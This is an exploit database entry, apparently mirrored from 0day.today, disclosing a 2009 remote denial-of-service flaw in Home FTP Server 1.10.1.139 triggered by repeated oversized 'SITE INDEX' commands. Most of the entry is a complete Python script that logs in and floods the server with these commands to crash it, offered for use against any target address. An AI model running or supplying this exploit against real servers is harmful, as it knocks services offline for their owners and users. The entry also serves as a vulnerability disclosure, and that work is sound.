Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote DOS

========================================================================
Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service
========================================================================


# Title: Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service
# CVE-ID: ()
# OSVDB-ID: ()
# Author: zhangmc
# Published: 2009-11-16
# Verified: yes

view source
print?
# Exploit Title: Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service Vulnerability
# Date: 16 Nov 09
# Author: zhangmc
# Software Link: http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe
# Version: Home FTP Server 1.10.1.139
# Tested on: [relevant os]
 
Date: 16 Nov 2009 15:37:20 -0000
 
Date of Discovery: 16-Nov-2009
 
Credits:zhangmc[at]mail.ustc.edu.cn
 
Vendor: Ari Pikivirta
       http://downstairs.dnsalias.net/homeftpserver.html
 
Affected:
Home FTP Server 1.10.1.139
Earlier versions may also be affected
 
Overview:
Home FTP Server FTP Server is an easy use FTP server Application. Denial of service
 
vulnerability exists in Home FTP Server that causes the application to stop service when we
 
send multiple irregular "SITE INDEX" commands to the server.
 
Details:
If you could log on the server successfully, take the following steps and the application
 
will stop service:
 
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
        sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()
 
 
Severity:
High
 
Exploit example:
 
#!/usr/bin/python
import socket
import sys
 
def Usage():
   print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
   print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
       Usage()
       sys.exit(1)
else:
   hostname=sys.argv[1]
   username=sys.argv[2]
   passwd=sys.argv[3]
   test_string="a"*30
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   for i in range(1,30):
       try:
           sock.connect((hostname, 21))
       except:
           print ("Connection error!")
           sys.exit(1)
       r=sock.recv(1024)
       print "[+] "+ r
       sock.send("user %s\r\n" %username)
       print "[-] "+ ("user %s\r\n" %username)
       r=sock.recv(1024)
       print "[+] "+ r
       sock.send("pass %s\r\n" %passwd)
       print "[-] "+ ("pass %s\r\n" %passwd)
       r=sock.recv(1024)
       print "[+] "+ r
 
 
       for i in range(1,20):
           sock.send("SITE INDEX "+ test_string*i +"\r\n")
           print "[-] "+ ("SITE INDEX "+ test_string +"\r\n")
           r=sock.recv(1024)
           print "[+] "+ r
 
       sock.close()
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
 
   sys.exit(0);



#  0day.today [2018-04-10]  #